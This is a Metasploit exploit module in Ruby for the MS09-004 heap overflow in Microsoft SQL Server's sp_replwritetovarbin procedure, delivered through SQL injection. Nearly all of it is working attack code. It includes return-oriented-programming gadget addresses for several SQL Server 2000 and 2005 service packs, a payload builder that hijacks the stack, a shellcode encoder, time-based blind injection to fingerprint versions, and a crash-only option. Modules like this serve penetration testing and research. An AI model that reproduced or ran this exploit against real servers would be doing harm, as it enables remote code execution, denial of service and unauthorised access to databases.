Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection

`##  
# $Id: ms09_004_sp_replwritetovarbin_sqli.rb 11631 2011-01-24 19:37:58Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::MSSQL_SQLI  
  
def initialize(info = {})  
  
super(update_info(info,  
'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection',  
'Description' => %q{  
A heap-based buffer overflow can occur when calling the undocumented  
"sp_replwritetovarbin" extended stored procedure. This vulnerability affects  
all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,  
and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.  
Microsoft patched this vulnerability in SP3 for 2005 without any public  
mention.  
  
This exploit smashes several pointers, as shown below.  
  
1. pointer to a 32-bit value that is set to 0  
2. pointer to a 32-bit value that is set to a length influcenced by the buffer  
length.  
3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,  
this value is referenced with a displacement of 0x38. For MSSQL 2005, the  
displacement is 0x10. The address of our buffer is conveniently stored in  
ecx when this instruction is executed.  
4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with  
a displacement of 4. This pointer is not used by this exploit.  
  
This particular exploit replaces the previous dual-method exploit. It uses  
a technique where the value contained in ecx becomes the stack. From there,  
return oriented programming is used to normalize the execution state and  
finally execute the payload via a "jmp esp". All addresses used were found  
within the sqlservr.exe memory space, yielding very reliable code execution  
using only a single query.  
  
NOTE: The MSSQL server service does not automatically restart by default. That  
said, some exceptions are caught and will not result in terminating the process.  
If the exploit crashes the service prior to hijacking the stack, it won't die.  
Otherwise, it's a goner.  
},  
'Author' =>  
[  
'jduck', # MS09-004 base exploit  
'Rodrigo Marcos' # SQL Injection mods  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 11631 $',  
'References' =>  
[  
[ 'OSVDB', '50589' ],  
[ 'CVE', '2008-5416' ],  
[ 'BID', '32710' ],  
[ 'MSB', 'MS09-004' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/7501' ],  
[ 'URL', 'http://www.secforce.co.uk/blog/2011/01/exploiting-ms09-004-via-sql-injection/' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "", # bad bytes get encoded!  
'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff",  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Privileged' => true,  
'Targets' =>  
[  
# auto targeting!  
[ 'Automatic', { } ],  
  
#  
# Individual targets  
#  
[  
# Microsoft SQL Server 2000 - 8.00.194 (Intel X86)  
# Aug 6 2000 00:57:48  
'MSSQL 2000 / MSDE SP0 (8.00.194)',  
{  
'Num' => 32, # value for "start_offset"  
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr  
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash  
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)  
'Vtable' => 0x00a87f26, # becomes eax for [eax+0x38] (must be valid to exec)  
'FixDisp' => 0x6900a7, # not directly used - call [ecx+0x08]  
'Disp' => 0x08, # displacement on call [ecx+disp] used  
'ecx2esp' => 0x0041b78f, # xchg ecx,esp / sbb [eax],al / pop esi / ret  
'Popped' => 0x4, # byte count popped in above (before ret)  
'Offset' => 0x28, # offset to the new stack!  
'FixESP' => 0x0071f5fb, # advance esp to next ret (add esp,0x20 / ret)  
'Ret' => 0x0041c9a2 # jmp esp  
},  
],  
  
[  
# Microsoft SQL Server 2000 - 8.00.384 (Intel X86)  
# May 23 2001 00:02:52  
'MSSQL 2000 / MSDE SP1 (8.00.384)',  
{  
'Num' => 32, # value for "start_offset"  
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr  
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash  
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)  
'Vtable' => 0x00a95b2f, # becomes eax for [eax+0x38] (must be valid to exec)  
'FixDisp' => 0x4b4f00, # not directly used - call [ecx-0x18]  
'Disp' => 0x34, # displacement on call [ecx+disp] used  
'ecx2esp' => 0x0044d300, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret  
'Popped' => 0x8, # byte count popped in above (before ret)  
'Offset' => 0x28, # offset to the new stack!  
'FixESP' => 0x004a2ce9, # advance esp to next ret (add esp,0x1c / ret)  
'Ret' => 0x004caa15 # jmp esp  
},  
],  
  
[  
# Microsoft SQL Server 2000 - 8.00.534 (Intel X86)  
# Nov 19 2001 13:23:50  
'MSSQL 2000 / MSDE SP2 (8.00.534)',  
{  
'Num' => 32, # value for "start_offset"  
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr  
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash  
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)  
'Vtable' => 0x00a64f7e, # becomes eax for [eax+0x38] (must be valid to exec)  
'FixDisp' => 0x660077, # not directly used - call [ecx-0x18]  
'Disp' => 0x34, # displacement on call [ecx+disp] used  
'ecx2esp' => 0x0054131c, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret  
'Popped' => 0x8, # byte count popped in above (before ret)  
'Offset' => 0x28, # offset to the new stack!  
'FixESP' => 0x005306a0, # advance esp to next ret (add esp,0x1c / ret)  
'Ret' => 0x004ca984 # jmp esp  
},  
],  
  
[  
# Microsoft SQL Server 2000 - 8.00.760 (Intel X86)  
# Dec 17 2002 14:22:05  
'MSSQL 2000 / MSDE SP3 (8.00.760)',  
{  
'Num' => 32, # value for "start_offset"  
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr  
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash  
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)  
'Vtable' => 0x00ac344e, # becomes eax for [eax+0x38] (must be valid to exec)  
'FixDisp' => 0x490074, # not directly used - call [ecx+0x14]  
'Disp' => 0x34, # displacement on call [ecx+disp] used  
'ecx2esp' => 0x00454303, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret  
'Popped' => 0x8, # byte count popped in above (before ret)  
'Offset' => 0x28, # offset to the new stack!  
'FixESP' => 0x00503413, # advance esp to next ret (add esp,0x20 / ret)  
'Ret' => 0x0043fa97 # jmp esp  
},  
],  
  
[  
# Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)  
# May 3 2005 23:18:38  
'MSSQL 2000 / MSDE SP4 (8.00.2039)',  
{  
'Num' => 32, # value for "start_offset"  
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr  
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash  
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)  
'Vtable' => 0x0046592e, # becomes eax for [eax+0x38] (must be valid to exec)  
'FixDisp' => 0x69f5e8, # not directly used - call [ecx+0x14]  
'Disp' => 0x14, # displacement on call [ecx+disp] used  
'ecx2esp' => 0x007b39a8, # push ecx / pop esp / mov ax,[eax+0x18] / mov [ecx+0x62],ax / pop ebp / ret 0x4  
'Popped' => 0x4, # byte count popped in above (before ret)  
'Offset' => 0x20, # offset to the new stack!  
'FixESP' => 0x00b3694d, # advance esp to next ret (add esp,0x20 / ret)  
'Ret' => 0x0047c89d # jmp esp  
},  
],  
  
[  
# Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)  
# Oct 14 2005 00:33:37  
'MSSQL 2005 SP0 (9.00.1399.06)',  
{  
'Num' => 32, # value for "start_offset"  
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr  
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash  
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)  
'Vtable' => 0x02201ca8, # becomes eax for [eax+0x38] (must be valid to exec)  
'FixDisp' => 0x10e860f, # not directly used - call [ecx+0x14]  
'Disp' => 0x50, # displacement on call [ecx+disp] used  
'ecx2esp' => 0x0181c0d4, # push ecx / pop esp / pop ebp / ret  
'Popped' => 0x4, # byte count popped in above (before ret)  
'Offset' => 0x20, # offset to the new stack!  
'FixESP' => 0x0147deb7, # advance esp to next ret (add esp,0x10 / ret)  
'Ret' => 0x0112c2c7 # jmp esp  
},  
],  
  
[  
# Microsoft SQL Server 2005 - 9.00.2047.00 (Intel X86)  
# Apr 14 2006 01:12:25  
'MSSQL 2005 SP1 (9.00.2047.00)',  
{  
'Num' => 32, # value for "start_offset"  
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr  
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash  
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)  
'Vtable' => 0x0244c803, # becomes eax for [eax+0x38] (must be valid to exec)  
'FixDisp' => 0x17139e9, # not directly used - call [ecx+0x14]  
'Disp' => 0x52, # displacement on call [ecx+disp] used  
'ecx2esp' => 0x0183bf9c, # push ecx / pop esp / pop ebp / ret  
'Popped' => 0x4, # byte count popped in above (before ret)  
'Offset' => 0x20, # offset to the new stack!  
'FixESP' => 0x014923c1, # advance esp to next ret (add esp,0x10 / ret)  
'Ret' => 0x011b204c # jmp esp  
},  
],  
  
[  
# Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)  
# Feb 9 2007 22:47:07  
'MSSQL 2005 SP2 (9.00.3042.00)',  
{  
'Num' => 32, # value for "start_offset"  
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr  
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash  
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)  
'Vtable' => 0x027fca52, # becomes eax for [eax+0x38] (must be valid to exec)  
'FixDisp' => 0x1106d6b, # not directly used - call [ecx+0x14]  
'Disp' => 0x52, # displacement on call [ecx+disp] used  
'ecx2esp' => 0x01849641, # push ecx / pop esp / pop ebp / ret  
'Popped' => 0x4, # byte count popped in above (before ret)  
'Offset' => 0x20, # offset to the new stack!  
'FixESP' => 0x01498b22, # advance esp to next ret (add esp,0x10 / ret)  
'Ret' => 0x010a5379 # jmp esp  
},  
],  
  
[ 'CRASHER', { } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Dec 09 2008'  
))  
  
register_options(  
[  
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ])  
])  
end  
  
def check  
# the ping to port 1434 method has two drawbacks...  
# #1, it doesn't work on mssql 2005 or newer (localhost only listening)  
# #2, it doesn't give an accurate version number (sp/os)  
  
# since we need to have credentials for this vuln, we just login and run a query  
# to get the version information  
if not (version = mssql_query_version)  
return Exploit::CheckCode::Safe  
end  
print_status("@@version returned:\n\t" + version)  
  
# Any others?  
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/)  
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.384/)  
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.534/)  
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/)  
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/)  
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/)  
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.2047\.00/)  
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.3042\.00/)  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
  
mytarget = nil  
if target.name =~ /Automatic/  
print_status("Attempting automatic target detection...")  
  
version = mssql_query_version  
raise RuntimeError, "Unable to get version!" if not version  
  
if (version =~ /8\.00\.194/)  
mytarget = targets[1]  
elsif (version =~ /8\.00\.384/)  
mytarget = targets[2]  
elsif (version =~ /8\.00\.534/)  
mytarget = targets[3]  
elsif (version =~ /8\.00\.760/)  
mytarget = targets[4]  
elsif (version =~ /8\.00\.2039/)  
mytarget = targets[5]  
elsif (version =~ /9\.00\.1399\.06/)  
mytarget = targets[6]  
elsif (version =~ /9\.00\.2047\.00/)  
mytarget = targets[7]  
elsif (version =~ /9\.00\.3042\.00/)  
mytarget = targets[8]  
end  
  
if mytarget.nil?  
raise RuntimeError, "Unable to automatically detect the target"  
else  
print_status("Automatically detected target \"#{mytarget.name}\"")  
end  
else  
mytarget = target  
end  
  
sqlquery = %Q|declare @i int,@z nvarchar(4000)  
set @z='declare @e int,@b varbinary,@l int;'  
set @z=@z+'exec sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',@l,@l,@l,@l,@l,@l,@l,@l'  
exec sp_executesql @z|  
  
# just crash it with a pattern buffer if the CRASHER target is selected..  
if mytarget.name == 'CRASHER'  
sploit = Rex::Text.pattern_create(2048)  
print_status("Attempting to corrupt memory to cause an exception!")  
num = 32  
else  
# trigger the memory corruption  
num = mytarget['Num']  
vt_off = mytarget['VtOff']  
vt_disp = mytarget['VtDisp']  
vtable = mytarget['Vtable']  
ecx_disp = mytarget['Disp']  
esp_off = mytarget['Offset']  
hijack_esp = mytarget['ecx2esp']  
first_esp = mytarget['Popped']  
fix_esp = mytarget['FixESP']  
writable = mytarget['Writable']  
corruptable_bytes = 0x44  
  
# make sploit buff  
sz = (num + vt_off) + esp_off + (2 + corruptable_bytes) + payload.encoded.length  
#sploit = Rex::Text.pattern_create(sz)  
sploit = rand_text_alphanumeric(sz)  
  
# remove displacement! (using call [ecx+displacement])  
vtable_off = (num + vt_off)  
sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V')  
  
# stack -> heap  
hijack_off = vtable_off + ecx_disp  
sploit[hijack_off,4] = [hijack_esp].pack('V')  
# becomes eax on mssql 2ksp4 (prevent crash)  
sploit[(vtable_off-4),4] = [writable].pack('V')  
  
# becomes eip after esp hijack  
fixesp_off = vtable_off + first_esp  
sploit[fixesp_off,4] = [fix_esp].pack('V')  
  
# rest of magic stack (disable DEP?)  
stack_off = vtable_off + esp_off  
stack = []  
stack << mytarget['Ret']  
stack = stack.pack('V*')  
# jump over the stuff that gets corrupted  
stack << "\xeb" + [corruptable_bytes].pack('C')  
stack << rand_text_alphanumeric(corruptable_bytes)  
stack << payload.encoded  
sploit[stack_off,stack.length] = stack  
  
# this has to be put in after the stack area since the ptr for sql2k sp1 is in the corrupted stuff  
sploit[hijack_off,4] = [hijack_esp].pack('V')  
  
print_status("Redirecting flow to %#x via call to our faked vtable ptr @ %#x" % [mytarget['FixDisp'], vtable])  
end  
  
# encode chars that get modified  
enc = mssql_encode_string(sploit)  
  
# put the number in (start offset)  
runme = sqlquery.gsub(/%NUM%/, num.to_s)  
runme.gsub!(/%STUFF%/, enc)  
  
# go!  
print_status('The SQL Server will probably die after exploitation. Follow the "POSTEXPLOITATION" instructions in the README file')  
begin  
mssql_query(runme, datastore['VERBOSE'])  
rescue ::Errno::ECONNRESET, EOFError  
print_error("Error: #{$!}")  
end  
  
handler  
disconnect  
end  
  
  
def mssql_str_to_chars(str)  
ret = ""  
str.unpack('C*').each do |ch|  
ret += "+" if ret.length > 0  
ret += "char("  
ret << ch.to_s  
ret += ")"  
end  
return ret  
end  
  
  
def mssql_encode_string(str)  
badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f"  
  
enc = ""  
in_str = true  
str.unpack('C*').each do |ch|  
# double-double single quotes  
if ch == 0x27  
if not in_str  
enc << "+'"  
in_str = true  
end  
enc << ch.chr * 4  
next  
end  
  
# double backslashes  
if ch == 0x5c  
if not in_str  
enc << "+'"  
in_str = true  
end  
enc << ch.chr * 2  
next  
end  
  
# convert any bad stuff to char(0xXX)  
if ((idx = badchars.index(ch.chr)))  
enc << "'" if in_str  
enc << "+char(0x%x)" % ch  
in_str = false  
else  
enc << "+'" if not in_str  
enc << ch.chr  
in_str = true  
end  
end  
enc << "+'" if not in_str  
return enc  
end  
  
  
def mssql_query_version  
  
delay = 5  
  
# Let's first check that we can reach the host with no problems  
t = Time.now  
res = mssql_query("select @@version",datastore['VERBOSE'])  
response_time = Time.now-t  
if (response_time > delay)  
return nil  
end  
  
# Now we test the SQL Server versions  
versions = %w[8.00.194 8.00.384 8.00.534 8.00.760 8.00.2039 9.00.1399.06 9.00.2047.00 9.00.3042.00]  
versions.each_with_index { |version,i|  
t = Time.now  
res = mssql_query("if ((select PATINDEX('%#{version}%', @@version))>0)WAITFOR DELAY '00:00:#{delay.to_s}'",datastore['VERBOSE'])  
response_time = Time.now-t  
if (response_time > delay)  
return version  
end  
}  
  
return nil  
end  
  
end  
`